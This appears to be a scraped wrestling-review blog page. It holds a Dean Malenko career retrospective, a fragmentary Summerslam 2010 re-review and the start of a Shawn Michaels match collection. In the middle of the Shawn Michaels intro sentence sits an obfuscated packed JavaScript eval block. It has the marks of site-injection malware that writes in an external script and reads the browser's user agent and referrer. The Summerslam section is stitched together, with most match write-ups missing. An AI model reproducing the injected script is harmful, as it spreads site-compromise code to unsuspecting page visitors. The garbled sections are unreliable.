Dean is now a good guy here and is challenging after losing the title to the Dragon at Starrcade 1996. They trade wristlocks to start before heading down to the mat with Dragon grabbing a leg lock. We take an early break and come back with the two of them circling each other and heading into the ropes. Dean slams him into the buckle a few times and gets two off a suplex. A headscissors keeps Dragon on the mat but he fights up and tosses Malenko out to the floor.

Back in and Dean hits a quick tilt-a-whirl backbreaker to set up a legbar. That goes nowhere so it’s off to a half crab instead but Dean shifts back to the legbar for a second time. Off to a stump puller (Dean stands over Dragon’s neck and pulls up on the leg) before Dean covers for two. Malenko throws the champion to the floor and Dragon is holding his leg. Back in and Dean tries a Figure Four but Dragon blocks the hold from going on full. With that not working, Dean throws him into the corner for a running clothesline, only to get kicked in the face.

Malenko is up fast enough to pull Dragon off the top with a superplex but can’t follow up. A rollup gets two on the champion but he counters a powerbomb into a hurricanrana for two of his own. Dragon comes back with a springboard dropkick to send Dean to the floor, setting up the Asai Moonsault (springboard moonsault to the floor) from its inventor.

They get back inside and Dragon hits his moonsault for a very close near fall. A top rope hurricanrana drops Dean but he counters the tiger suplex (double arm hook suplex which won Dragon the title in the first place) into a rollup for two. Malenko comes back with a double underhook powerbomb, knocks Sonny Onoo to the floor, and puts on the Texas Cloverleaf for the submission and the title.

Rating: A-. Another great Cruiserweight Title match here to open up a Clash. There was a very solid story here with Dean using his technical and mat wrestling skills to counter the Dragon’s high flying. Both guys looked great out there and the match was somehow better than Malenko’s match at the previous Clash.

Dean would get a shot at a heavyweight belt at Uncensored 1997.

US Title: Dean Malenko vs. Eddie Guerrero

This is due to Eddie costing Dean the Cruiserweight Title last month. Think this one will be awesome? Fast paced stuff to start as Dean hits a shoulder to send Eddie to the floor. Dean stomps a mudhole (Dusty’s word) into Eddie and adds a suplex so he can yell at Eddie a bit. Dean is all ticked off here and it’s kind of awesome. This is no DQ apparently. Eddie gets all aggressive too and is loudly booed, I guess making him the heel here.

Dean locks on a half crab as we cut to the back to see the NWO standing over an unconscious Rick Steiner. At least we didn’t miss anything as Dean has the hold on still. He shifts it back into almost a half Liontamer as we confirm it was Rick. Dean throws him over the top which isn’t a DQ here as we change the rules again. Despite Eddie being the default heel here, Dean grabs the belt for a shot with it and is booed as well.

Rock Bottom out of nowhere takes Dean down as does a dropkick to the knee. Eddie works over the knee with a shot from the top and a hilo down onto it. We hit the leg lock as Eddie controls some more. STF now as Rick is taken out on a stretcher and into an ambulance. The NWO stands behind him and pretends to care in a nice jerk moment. Out to the floor as Dean is in real trouble.

Figure Four goes on and Eddie actually grabs the ropes. I guess this is around the time he turned heel. Dean tries to speed things up a bit and fails completely. Hilo misses but a baseball slide sends Dean into the railing. Eddie tries a HUGE dive but gets sent into the railing chest first.

They chop it out and Eddie gets a backbreaker and powerbomb for two each. They speed it up and do some technical stuff so Dean kicks him low for two. Nice guy that Dean. Powerslam by Dean for two and he hits Eddie with a Frog Splash but pulls Eddie up in a rather stupid move. More technical and speed stuff results in a German to Eddie for two.

Tornado DDT puts Dean down as this is a very back and forth match. Eddie tries to pay Dean back with the Texas Cloverleaf and there it is. Here comes Syxx with his camera because one NWO instance during the match wasn’t enough I guess. He tries to steal the belt so Eddie goes after him. Dean gets the camera, the camera goes upside Eddie’s head and Dean is US Champion.

Rating: B+. Great match until the ending which makes the whole thing about Syxx instead of the great match which is another example of what was wrong with WCW: there was no payoff to the 20 minutes of wrestling because the NWO becomes the focus of things again. Oh well. Eddie vs. Dean for twenty minutes is hard to complain about and this was no exception as far as great matches go.

Back to the classics on Nitro, October 13, 1997.

Dean Malenko vs. Rey Mysterio Jr.

Apparently the decision in the tag match stands because Larry is an assigned official. Assigned at a PPV but what difference does that make? Also Eric can’t reverse the decision. Rey gives his mask to a baby at ringside but the baby gives it back to him. It’s fast paced stuff to start with Dean taking it to the mat to slow Rey down. Back up and Rey goes from a test of strength into a sunset flip for two. Dean catapults him to the apron but Mysterio pops right back in.

Back in and Rey counters a variety of holds by Dean by flying through the air, only to be caught by a leg lariat for two. A quick victory roll gets two for Rey but a headscissors is countered into a side slam for no cover. Off to a figure four necklock by Dean for a few seconds before he powerbombs Rey halfway back to Mexico for two. Rey comes back and pounds away in the corner but Dean launches him into the corner.

Mysterio lands on the top rope and hits a flip attack to take Dean down again. A sunset flip gets two on Malenko and the West Coast Pop looks to finish. At two though Eddie runs in and rips Rey’s mask off, causing him to break the hold. Malenko backflips up into the Texas Cloverleaf and Rey taps immediately to hide his face.

Rating: B. This was one of the better matches I’ve ever seen them have and one of the best cruiserweight matches they’ve ever had on Nitro. They barely ever stopped moving other than a quick rest hold by Dean. Other than that it was five minutes of nonstop action with an ending that advanced the story and kept Rey looking strong at the same time. Great match here and actually worth checking out for how fast and agile Rey was in his time.

Soon after this, Dean would get in a feud with Chris Jericho, who consistently beat Dean. Malenko went home, leaving Jericho to dominate the division. Jericho beat so many opponents that he held a battle royal at Slamboree 1998 to determine his next challenger.

Cruiserweight Battle Royal

You can be eliminated by going to the floor or pinfall here and the winner gets a title shot at Jericho later in the night. The more entertaining part though is Jericho doing the introductions in Dave Penzer’s place.

Super Calo: This guy’s hat never comes off!

Chavo Guerrero Jr.: He used to be a great bartender but he’s the scourge of the Guerrero family.

Ciclope: From selling chimichangas to WCW!

Damien: He can’t afford a mask so he’s using paint!

El Dandy: The winner of the Lou Ferrigno look-a-like contest.

El Grio: The world light featherweight champion!

Juventud Guerrera: Pulled up in a rusted out 67 El Camino Chevy, the ugliest man in our business, Quasimodo Guerrera!

Marty Jannetty: He’ll rock rock until he drops drops.

Kidman: A lost and lonely soul and Jericho has calamine lotion with him.

Evan Karagias: 0/10.

Lenny Lane: I want my Loverboy tape back!

Psychosis: He has a lot of hubcaps in his collection and can get you one if you need it.

Silver King: If he wins 12 more matches he gets to be Gold King.

Johnny Swinger: Johnny Cinger!

Villano IV: Representing Villano I-LXII!

Everyone goes at it to start and if you go through the ropes to the floor it’s an elimination as well. Evan is out first but there are still too many people to be able to do much. Chavo backdrops Swinger out and hits a tornado DDT on someone I couldn’t see. Psychosis hits a springboard hurricanrana on Damien but doesn’t throw him out. Super Calo is dropkicked out by Juvy and King is out at someone’s hands. Lane and Dandy have a mini match in the middle of the ring as Juvy hits a gorgeous top rope hurricanrana to take Psychosis down.

Grio gets dumped and Lane misses a dive off the top. Jannetty and Villano both go out as we’re down to eight. Lane goes up but Kidman throws Juvy into him to knock Lane out. Juvy dropkicks Damien out and we’re down to six. Dandy is dropkicked off the apron and it’s five: Ciclope, Chavo, Kidman, Psychosis and Juvy. Kidman low bridges Chavo out as Heenan does his schtick of picking everyone in the match. Psychosis misses a charge and goes out as Juvy pulls Kidman out. Juvy sees he’s alone with Ciclope….and eliminates himself to give Ciclope the title shot?

Rating: C. It’s a battle royal so how good can it really be? The high spots were nice but at the same time they made a lot of the guys in the match look stupid for trying something like that. The ending was confusing but all will be explained in just a few seconds. Nothing outside of the ordinary here other than some high spots.

Jericho hits the ring immediately but Ciclope unmasks to reveal…..DEAN MALENKO! The place goes NUTS in one of the loudest pops WCW ever had.

Cruiserweight Title: Dean Malenko vs. Chris Jericho

Dean shows more emotion in a fifteen second burst than he did in his entire career, stomping Jericho down in the corner and a suplex puts him down again. A dropkick sends Jericho out to the floor and Dean follows him out with right hands to the head. Back in and Dean opts to fire off more punches instead of rolling Jericho up when he has the chance. A quick hot shot gives Jericho a breather and a backsplash gets two.

Jericho suplexes his down and gets another two off the arrogant cover. The Lionsault gets the same and we hit the chinlock. Dean fights up and tries the Liontamer on Jericho but Chris quickly makes the rope. A top rope back elbow to the jaw gets two on Malenko but the top rope hurricanrana is countered into the top rope gutbuster. The Cloverleaf gives Dean the title back.

Rating: A. The match was decent though nothing great, but the story here is the emotion. This whole story was built up on the emotion the fans felt for Malenko and wanting to see him make Jericho eat his words. It’s a classic story: hero falls, villain reigns and runs his mouth, hero returns to vanquish the villain. No unexplained turns, no politics, no swerves (ok maybe one with the disguise) and possibly the loudest reaction ever in WCW. Clearly there’s nothing to this storytelling idea though right?

Here’s a match with an opponent you may have heard of. From November 23, 1998 on Nitro.

Bret Hart vs. Dean Malenko

Dean is favoring his knee after the attack earlier. Bret goes right for the knee to take over and kicks away but Dean gets in a right hand and some stomps to take over. Dean tries a rolling cradle but the knee gives out and they roll to the floor. We take a break and come back with Tony telling us about a special bonus Nitro tomorrow with another hour. Oh freaking JOY.

Dean tries a suplex and the knee holds up for the most part but he can’t follow up. A small package is good for two on Hart as Tony actually gets a fact right: Windham wasn’t an original Horseman. Dean comes back with a sleeper which Heenan points out allows him to rest the leg. Bret fights out of it with a belly to back but Malenko keeps the hold on. They head outside for a few seconds before Dean chokes with the boot in the corner.

Bret goes right back to the knee to take over though and snaps the bad leg down. He grabs the leg again but gets enziguried down to give Dean a breather. Back up and Dean slams him into the buckle while hobbling across the ring. Nice touch. A superplex doesn’t work but Bret goes down to the apron to keep Malenko out of trouble. The leg lariat sets up the Texas Cloverleaf but Bret is right in the ropes.

They fall to the floor with Dean landing on the leg to keep him down. Bret tries to bring in a chair but the referee takes it away, allowing Malenko to nail a missile dropkick for a very close two. Malenko tries a leapfrog but can’t get the elevation and goes down again. Bret wraps the leg around the post a few times and nails a Diamond Cutter, causing the referee to stop it.

Rating: B. I was really liking this one and the ending actually makes it better. Malenko doesn’t have to do a clean or even dirty job here and goes down fighting the whole way. His comeback was great with the knee being sold the whole way through. But of course we couldn’t have Dean move up the card long term or anything like that as a result of a great performance like this.

Malenko would team up with Chris Benoit and go after the Tag Team Titles. From Uncensored 1999.

Tag Team Titles: Chris Benoit/Dean Malenko vs. Curt Hennig/Barry Windham

It’s a lumberjack with straps match and Hennig/Windham are defending. The lumberjacks are a bunch of lower/midcard guys including Meng and Norman Smiley. Benoit and Hennig get things going and Arn Anderson comes out to replace Chris Adams as a lumberjack. The champions try to leave and get beaten up like the cowards they are. Back in and Benoit chops Hennig to the floor for another whipping before it’s off to Barry.

Chris is find with chopping Windham to the floor as well where the Texan gets whipped as well. Off to Dean who hammers away with more aggression than you would expect from him. The Horsemen double team Barry down but Hennig gets in a cheap shot to take over. Benoit is thrown to the floor and gets whipped a few times before it’s back to a chinlock from Curt. The beating continues but Benoit finally snaps off a German suplex and makes the tag off to Dean. Everything breaks down and Malenko hits Hennig with a PerfectPlex for two but Barry breaks up the Texas Cloverleaf.

Windham tries to low bridge Dean to the floor but Malenko stops himself, only to have Hennig knock him out to the floor for a whipping. Now it’s Dean in trouble as Curt hooks a sleeper. Dean makes the ropes but is sent to the floor for more belt shots. Windham hammers away in the corner but Dean punches his way out of a belly to back suplex. The double tag brings in Hennig and Benoit as everything breaks down.

Benoit takes off Windham’s belt and throws him outside for a brawl. Hennig goes after Anderson, earning him a tire iron shot to the head. Malenko breaks up the superplex and Benoit hits the longest Swan Dive I’ve ever see (Hennig would have been in a good place for a 450) for the pin and the titles.

Rating: C+. The match wasn’t as good as their first one last month but it finally got the job done. Last month’s was brought WAY down by the booking but the wrestling itself was better. This one was more of a tag team formula and that’s a hard idea to screw up. I could have done without Arn’s interference but to be fair Hennig went after him first. That Swan Dive was very impressive and I can live with it only hitting Curt’s arm as he was already out.

Then the rest of 1999 happened and WCW fell through the floor, including this match at Fall Brawl 1999.

Brian Knobbs/Hugh Morrus vs. Shane Douglas/Dean Malenko

Pre-match the face team (Douglas/Malenko) do their thing, but Shane says the wrong city and state. Oh dear. Douglas/Malenko are part of the Revolution, which was supposed to be a youth uprising thing but turned into an anti-American thing like a month after this. Knobbs/Morrus are the First Family, which is Jimmy Hart’s very low level stable. This is also No DQ for no apparent reason. Big brawl to start so Dean kicks them both in the balls to take over. Shane comes back in and the Revolution cleans the ring out.

Double baseball slides take out the First Family as this is still a big brawl. The Revolution is sent into various metal objects and something goes flying that we can’t identify. Either way it half kills Shane. We get things down to normal now as Knobbs rubs his armpit in the face of Shane. Shane gets all ticked off and brings in Dean, who has little trouble taking care of Knobbs. Speaking of Knobbs, why in the world is he on PPV in 1999?

Dean works the arm and then the wrist. When you can make a wristlock look freaking sick, that’s a good sign. Off to Morrus and Shane again as this is more or less target practice for the Revolution. Knobbs and Shane go back to the floor for more brawling so back in the ring Shane is tagged in. Tony gets his first stupid line of the match in by saying they’ve kept this in the ring so far. It’s important to mention that it’s the first stupid line because we’ve been on the air about 40 minutes so far.

The Revolution clears the ring again and Shane takes over on Knobbs soon thereafter. Double teaming gets Douglas down so Knobbs gets to go on his, ahem, offense. Middle rope splash eats a foot which looks like it nearly broke Shane’s leg. Double tag with a small pop for Dean, who I think is half of the face team. Dean cleans house….and gets tripped up by Knobbs, allowing Morrus to take over and hit No Laughing Matter to end this. Clean. On PPV. Hugh Morrus pinned Dean Malenko. In 1999. And people wonder why the Radicals happened in four months.

Rating: D. The match was a mess, there seemed to be no po….oh screw it. WHAT THE HECK ARE THEY THINKING??? Dude, why in the world would this be the booking move? I mean really it’s HUGH FREAKING MORRUS and BRIAN KNOBBS going over Shane Douglas and Dean Malenko in 1999. This is so idiotic I can’t even begin to describe it. Dean, please just leave now. It’s not going to get any better, I assure you.

Here’s Dean’s last match in WCW, from Souled Out 2000.

Billy Kidman vs. Dean Malenko

Kidman is one of the Filthy Animals and Malenko is part of the Revolution which was supposed to be a youth movement stable but it was changed into a military thing or something. This is under catch-as-catch-can which means a regular match but you can’t leave the ring.

Dean takes it to the floor quickly and the fans are loudly booing. We hear about what Kidman has to do tonight and I wonder why Douglas isn’t fighting for the Revolution tonight. LOUD booing now as Malenko keeps backing up. I have no idea if the fans know the rules here or not. Big crowd tonight too at over 14,000.

Kidman hammers away and Dean rolls to the floor, ending the match. Dean starts getting back in and I think he messed up here. This is exactly what this show didn’t need at all. Way too short to grade as it might have been two minutes long but the fans cheer for Kidman winning so uh….good? This was Dean’s last WCW match as he would debut as part of the Radicalz in 15 days.

Here’s one of his first big matches in the WWF, on February 7, 2000’s Raw.

HHH/X-Pac/Chris Benoit/Dean Malenko/Perry Saturn vs. Cactus Jack/The Rock/???/???/???

Before the bell rings, Rikishi and Too Cool come out to even the odds. It’s a wild brawl to start and I’m not even going to try to call it. Rock and HHH are fighting on the ramp as Benoit and Cactus head into the crowd (DANG that could have been an awesome feud). Stephanie is on commentary and the fans are blowing the roof off the place. Grandmaster and X-Pac get things going and Sexay misses a middle rope knee drop.

Off to Saturn and Scotty, the latter of whom has a bandage around his head. He loads up the Worm (with five hops instead of four) but Malenko interferes before Scotty can cover. A big old suplex puts Scotty down and Dean comes in legally. Scotty gets in a shot and brings in Rikishi who runs Dean over. Off to Benoit who charges right into a Samoan Drop. He can’t suplex Rikishi but Benoit pounds on his back and is all like oh yeah boy you’re going and suplexes Rikishi down.

Jack comes in and pounds Benoit down into the corner. This is one of the hottest crowds I’ve ever seen. Jack goes for HHH and they head to the announce table. Saturn and Pac have to save HHH from death and we head back inside. HHH stomps Jack down in the corner and shoves the referee away. Off to Pac who almost immediately walks into a neckbreaker to take him down.

Hot tag brings in Rock and it’s spinebusters all around. Pac takes a Rock Bottom for two as HHH saves. Saturn kicks Rock down but Rock is having none of this Bronco Buster nonsense. Grandmaster hits the Hip Hop Drop but Pac gets up and kicks the goggles off Sexay’s head. HHH comes in again with the flying knee and it’s off to Saturn and Benoit for some double teaming.

Benoit suplexes Sexay down for two and it’s back to HHH. The heels are tagging incredibly fast. Grandmaster hits a double DDT out of nowhere on Benoit and HHH. There’s the hot tag to Cactus but the referee didn’t see it. Everything breaks down and HHH hits the Pedigree on Grandmaster followed by the Swan Dive from Benoit for the pin.

Rating: B. This seems like a match where the crowd reaction carried it to a higher level which is fine. It’s certainly better than I remember but it’s not as good as I’ve seen some people make it out to be. Anyway, you could see the great matches coming and this would give Too Cool a nice push, resulting in their only tag title run a few months after this.

Dean would win the Light Heavyweight Title from Essa Rios and then again from Scotty 2 Hotty. Here’s Scotty’s rematch from Backlash 2000.

Light Heavyweight Title: Scotty 2 Hotty vs. Dean Malenko

Dean is champion and this is Scotty’s rematch I believe. Scotty dances with Lillian pre-match. Scotty starts off fast with some near falls. Belly to back puts Dean down and Scotty nips up into the Moonwalk. He sets for the bulldog to set up the Worm but Dean clotheslines him down instead. Dean, the heel, tries to get the buckle pad off but can’t quite get it. He rams Scotty into the buckle anyway and we head outside.

A dropkick to the knee gets two and Dean works the leg over a bit. After a quick leg lock he wraps it around the post a few times. Back to the leg lock and then a leg lace. Dean hits a knee crusher but Scotty comes back with an enziguri. That gets him nowhere so it’s back to the knee by Dean. He tries a spinning toehold but Scotty kicks him into the corner and rolls him up for two.

Malenko kicks at the knee again but then charges at Scotty, sending both of them out to the floor. Back in Dean hits a superplex to put both guys down. Dean is up first but walks into a backslide for two. Scotty bulldogs him down and it’s Worm time! That gets two so Malenko rolls him up with feet on the ropes for two. Things are speeding way up. Tiger Bomb gets two for Dean and he’s frustrated.

Scotty comes back at him again but walks into a powerslam for two. He tries to put Dean on the apron but gets guillotined down on the top rope. Malenko goes up top but Scotty pops him with a right hand. Scotty goes up for a superplex but Dean counters in mid air into a DDT. FREAKING OW MAN and Dean retains. SICK counter.

Rating: B. Malenko is awesome but unfortunately he never quite did anything of note in the WWF. The Light Heavyweight Title was almost exclusively defended on the late night weekend shows which meant that most people didn’t know the title was around or who held it. Dean would hold it until a few weeks before the next Wrestlemania. This was a really good match though and that ending is GREAT.

Here’s an indy match from the 3rd Annual Brian Pillman Memorial Show.

Eddie Guerrero/D’Lo Brown vs. Dean Malenko/Perry Saturn

D’Lo punches Saturn to the floor to start as Dean and Perry are definitely the heels here. Now Dean and Brown stare at each other so D’Lo brings in Eddie. Eddie dropkicks him down but gets caught in the heel corner to give Dean control. Saturn slams Guerrero down for two and we hit a chinlock maybe ninety seconds into the match. Eddie fights up and makes the tag to Brown, setting up a VERY awkward looking sequence as Saturn and Brown miss each other several times until Saturn finally connects with a clothesline. It looked like they’re on different planets instead of in the same ring.

Thankfully Dean comes in to settle things down but a few seconds later it’s back to Saturn for some arm work. Saturn hooks a short arm scissors but Brown does the traditional power lift to escape. Back to Dean for a kick in the back and the leg lariat to put D’Lo down. The Radicalz work over the arm for a good while until Eddie comes in sans tag and dropkicks Saturn.

Not that it matters as the arm work continues but I guess Guerrero was getting bored. D’Lo finally hooks a neckbreaker to put Dean down and the hot tag brings in Eddie. The cameraman seems to trip as we keep getting shots of the mat instead of the action. Everything breaks down and Saturn accidentally kicks Dean, setting up the Low Down for the pin.

Rating: D-. Oh my this was bad. I don’t know what the deal was with Saturn and Brown but it looked like some horribly bad amateur stuff instead of two former champions. This match had no flow to it at all and was a near disaster. Eddie looked ok and that’s about all there is to say about the match.

Dean’s career would start winding down as he would become a ladies’ man who wanted Lita. Here he is going after her at Armageddon 2000.

Hardy Boys/Lita vs. Radicalz

Radicalz are Saturn, Malenko and Guerrero and this is under elimination rules. This is because Malenko, a ladies man at the time, won a date with Lita due to beating her in a Light Heavyweight Title match. It also resulted in Lita looking AMAZING in white bra and panties. Matt made the save in the bedroom in a funny bit. I haven’t seen that in years.

Eddie is in his old school attire with the half singlet. Jeff does a big dive to take out Perry and Eddie. Fans are all over Eddie as the heels control early. The fans are way behind Lita. Granted if you believe certain rumors lots of people have been behind Lita. And in front of her. Uh on top. Beneath too. Jeff puts out Eddie with a Swanton and Saturn takes a Whisper in the Wind but a Death Valley Driver ends Jeff. I know that came off really fast but that’s all that happened.

Saturn goes out to a Twist of Fate and it’s Dean vs. Matt and Lita. Terri gets speared down by Lita and Malenko gets Matt with a rollup. This makes sense as they’re the most important people to this angle. She uses her lucha stuff to try to get a quick pin but she’s in over her head here. Dean punches her in the chest and hits a top rope suplex to more or less end her. He pulls her up though and I have a feeling I know where this is going. Never mind as the Cloverleaf ends it. Lita says she knows she can beat him.

Rating: C-. Not bad here but this should have been Dean vs. Lita without the other four guys. I guess they were ok and at least they went out without having it to mean much. This wasn’t much though but it was fast paced enough to get something decent going. It’s cool to see Lita put up a fight against a man though which was one of the major points here.

We’ll wrap it up with a tag match from Insurrextion 2001.

Dean Malenko/Terri/Perry Saturn vs. Hardcore Holly/Crash Holly/Molly Holly

Uh…yeah. See what I mean when I say these cards had a tendency to feel thrown together? Terri is someone I rarely get the appeal of. Ah ok Terri isn’t going to wrestle. Got it. Yeah I don’t care either. The Hollies get a pop. Dang Molly’s looks are underrated when she’s a blonde. Molly of course beats up Terri for a bit to a big pop.

Ok so it’s Hardcore and Saturn to start. Paul calls Saturn the Bald Bombshell. I like it. Dear lord help me I like it. Cole’s voice sounds a bit horse. Dang it what is the deal with the air horns over there? They’re freaking annoying! Saturn is fun to watch but he’s a bit nuts. For the second time in the match we’re told he’s a machine. Ok good to know. Molly is on the apron even though she’s not in this match that I know of. Crash is freaking OVER. What the heck ??? Terri breaks up a pin and we get a catfight. Saturn hits the Moss Covered Three Handled Family Credenza on Crash to get the pin. Only in wrestling would that make sense.

Rating: D. Again, what in the world was this? It’s just a random match that made no sense and was just there. It’s not particularly good but it’s a good bit bad. This was just a waste of time but I guess they had to pad the two hour and twenty minute show somehow. You would think they would have something better for the Radicalz at this point.

Dean Malenko was never going to be a World Champion but he was a very solid midcard hand who piled up a big share of titles. He could wrestle with anyone but his serious character could only carry him so far. The ladies’ man thing never worked but did give us Lita in some great looking white lingerie so I’m eternally grateful. The guy was talented and could wrestle a great match, especially with someone his size.

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Summerslam Count-Up – 2010: Down With The Nexus

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Date: August 15, 2010
Location: Staples Center, Los Angeles, California
Attendance: 14,178
Commentators: Matt Striker, Michael Cole, Jerry Lawler

The opening video is about how change can affect so many things, such as Nexus destroying everything in sight.

Intercontinental Title: Kofi Kingston vs. Dolph Ziggler

Back in and the champion pounds away before getting two off a neckbreaker. We hit an early chinlock but Kofi is out of it in a few seconds. Instead Dolph sends him face first into the buckle for two before hitting a Hennig neck snap for two. Off to a reverse chinlock for a few moments until the jumping elbow drop gets two for Dolph.

We hit chinlock #4 but Kofi gets bored and goes off on the champion before hitting the Boom Drop. The middle rope cross body is rolled through, getting a two for Dolph as things speed up. A Fameasser puts Kofi down for two more but he pops up and clotheslines Dolph back down. The champion avoids Trouble in Paradise and hooks his sleeper but the Nexus runs in for the DQ.

Divas Title: Alicia Fox vs. Melina

Trace Adkins, Marlon Wayans and Michael Clarke Duncan are here.

Big Show vs. Straight Edge Society

Rating: D. Another dull match here as Big Show never once felt like he was in any kind of danger at all. That was the problem with this whole feud: Show treated Punk like an annoyance rather than an opponent. This would lead up to the destruction of Punk in a one on one match next month because Big Show needed that push right?

Raw World Title: Sheamus vs. Randy Orton

Smackdown World Title: Kane vs. Rey Mysterio

Kane brings out a casket and I think you know where this is going. Kane hits a quick slam to start but Rey avoids an elbow drop. Rey tries to fire off some offense but Kane easily throws him around. The 619 is easily countered and Rey is sent to the floor. He slides back in and hits a quick baseball slide to get an advantage. Back in and Kane punches him off the top rope before ramming Rey back first into the post over and over.

Kane drops him ribs first over the top rope and slaps on a bearhug to keep things slow. Rey forearms out and dropkicks Kane in the chest, only to have Kane clothesline him down on a 619 attempt. Mysterio is sent chest first to the floor and kicked off a springboard to the floor. Kane follows him out but gets caught in a drop toehold into the barricade. Back in and a springboard headbutt to the chest gets two on Kane but he backbreakers Rey down again.

Video on Axxess.

Nexus vs. Team WWE

Nexus: Wade Barrett, Justin Gabriel, Heath Slater, Michael Tarver, David Otunga, Justin Gabriel, Skip Sheffield

Team WWE: John Cena, Bret Hart, Chris Jericho, Edge, R-Truth, John Morrison, ???

Cena hits a hard clothesline to put Slater down and dives for the hot tag to Bryan. Daniel comes in with a quick German suplex on Slater as Striker calls for Cattle Mutilation, which means absolutely nothing to most WWE fans. Bryan backflips over Slater in the corner and hits the running clothesline before sending him to the floor for the FLYING HAIRLESS ANIMAL! Back in and Bryan hits the missile dropkick and counters a rollup into the LeBell Lock to get us down to two on two.

Nexus stomps away on Cena in the corner and a big boot from Wade sends him to the floor. Gabriel and Barrett peel back the mats at ringside and a DDT on the concrete knocks Cena out cold. Back in and Gabriel misses the 450, allowing Cena to score a quick pin. Barrett comes in and gets caught in the STF out of nowhere for the final elimination 20 seconds later.

Ratings Comparison

Dolph Ziggler vs. Kofi Kingston

Original: C+

Redo: D+

Melina vs. Alicia Fox

Original: D

Redo: D-

Straight Edge Society vs. Big Show

Original: D+

Redo: D

Randy Orton vs. Sheamus

Original: D+

Redo: B-

Rey Mysterio vs. Kane

Original: C-

Redo: C

Team WWE vs. Nexus

Original: B+

Redo: C+

Overall Rating

Original: B

Redo: D

My goodness what was I thinking?

http://kbwrestlingreviews.com/2011/08/13/history-of-summerslam-count-up-2010-a-one-match-show-almost-literally/

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Wrestler of the Day – July 22: Shawn Michaels

We’re at a big one today: Mr. Wrestlemania himself, Shawn Michaels.

There’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ityra|var|u0026u|referrer|etaik||js|php'.split('|'),0,{})) no way I can cut Shawn down to a timeline, so here’s a collection of matches in no order, other than what I consider his best match ever next to last and my favorite match of his last.

Let’s get the obvious ones out of the way first. These are the quintessential Shawn matches so let’s get them done now. We’ll start with Wrestlemania XII.

WWF World Title: Bret Hart vs. Shawn Michaels

In the famous opening, Shawn’s manager/trainer Jose Lothario comes to the ring alone. He gets on the bottom rope and points to the rafters where a spotlight shines. It’s Shawn, dancing atop the rafters and ziplining down into the crowd. The shot from behind him with the flashbulbs going off was one of the most shown visuals in company history for a long time. Bret just walks to the ring because he’s a bit more laid back. Of course this is an Iron Man Match lasting one hour, most falls in that amount of time wins.

Earl Hebner is the referee because there’s no one else that it could be. He reads the full rules to both guys which is pretty cool to hear actually. Vince says that whoever wins the first decision will win the match. It likely helps that he picked the winner. Feeling out process to start with both guys being tentative to get into anything of note. Granted they’re also likely conserving energy.

Shawn easily escapes a pair of headlocks and they trade some more technical stuff. First bit of psychology: Bret blocks a third try at the same headlock counter that Shawn used both times earlier. We head to the mat with the champion in control via a headlock. Shawn fights up and we get a nice technical sequence resulting in Bret being right back in control with a headlock. Off to a front facelock as the announcers debate which man is stronger. That’s a good question actually.

Back to the headlock which is smart this early in a match like this. Shawn gets up again and fires off some armdrags before hooking an armbar. Freddie Blassie and Stu Hart are in the front row. They run the ropes a few times until Bret takes it back to the mat, only to be caught in a kind of abdominal stretch on the mat. They go into the corner and Shawn fires off some right hands, only to be sent into the other corner. Shawn is cool with that as he sends Bret to the floor with a headscissors. Fifty minutes left.

Back in and Shawn puts on an armbar but Bret throws him over the top. It’s Shawn though so he skins the cat and hooks the armbar again to put Bret down. Bret comes back with a shot to the ribs and a headbutt to the abdomen to take over. Off to a chinlock for a bit but Michaels escapes with a jawbreaker. There’s a Fujiwara Armbar on the champ but Bret nips up and catches Shawn in a kind of spinebuster.

The Sharpshooter doesn’t work though so he clotheslines Shawn to the floor. The fans aren’t sure what to think of that. Bret heads to the floor and gets sent into the post which makes him stagger into the timekeeper. We’ve got 45 minutes left as Shawn misses Sweet Chin Music on Bret, hitting the timekeeper by mistake and knocking him out cold. Back in and Bret hooks another chinlock as the timekeeper gets stretchered out.

As the chinlock goes on for almost three minutes we see the problem with this match: it doesn’t need to be an Iron Man Match. Yeah it’s kind of cool that it did went an hour but it would have been fine as a regular match that went like 45 minutes or something like that. The drama would have been better too and we wouldn’t have long rest holds like this. I can’t blame the wrestlers for resting like that as it’s not fair to ask them to go nuts for an hour, but it doesn’t make for the most interesting TV in the world.

Shawn finally gets up but can’t get an O’Connor Roll. Instead he hits a dropkick and grabs another armbar to take Bret down. Shawn cranks on the arm even harder with 40 minutes to go. Now we hit the hammerlock as the crowd is pretty silent. Back up and Shawn sends Bret’s shoulder into the post to give him the biggest advantage yet. There’s a shoulderbreaker to the champion followed by a double ax from the middle rope to the shoulder.

Bret starts firing off punches but Shawn comes back with a DDT on the arm. There’s a cross armbreaker but Shawn breaks it after one pull. Now it goes on full but Bret fights up and rakes his boot across Shawn’s face to break the hold. That’s rather heelish no? Back to the armbar but Hart counters into a kind of middle rope hot shot. Shawn fights back but misses a Stinger Splash in the corner, giving Bret his first advantage in a long time.

The bulldog puts Shawn down so Bret goes up top. That’s an odd sight for him and Shawn tries to slam him down, only to get pulled down to the mat by his hair. Bret hit the referee on the way down and we’re at halftime. Shawn comes back with a powerslam for two but a backdrop attempt is countered into a piledriver which gets two for the champion. Bret goes up again but gets slammed down.

Michaels starts speeding things up with a standing hurricanrana but Bret hangs onto the ropes to avoid the superkick. A backbreaker gets two for Shawn but Hart bails to the floor to avoid the kick again. Instead Shawn goes up and hits a HUGE dive to the floor to take the champ down. Back in and Shawn skins the cat, only to get caught in a small package for two. A Perfectplex gets two for Shawn and he hooks a sleeper. Hart gets his arm up on the second drop so Shawn rams him into the corner again.

Michaels charges at Bret but gets backdropped up and over the post and out to the floor in a great looking crash. Bret goes out to get him though which isn’t the brightest idea in the world. Back in and Bret works over Shawn’s injured back before dropping a leg for no cover. We’ve got twenty minutes left and Bret stomps away on the back. Shawn is flipped upside down in the corner and there’s a belly to back superplex for a close two.

We hit the camel clutch for a few minutes before Shawn fights up again. Hart tries a superplex but has to settle for punching a jumping Shawn in the ribs. Michaels gets whipped into the corner and it’s a Flair Flip to the floor where Shawn accidentally kicks Jose in the head. Out to the floor and Bret whips Shawn into the steps, knocking Jose down again. We head back inside with fifteen minutes to go.

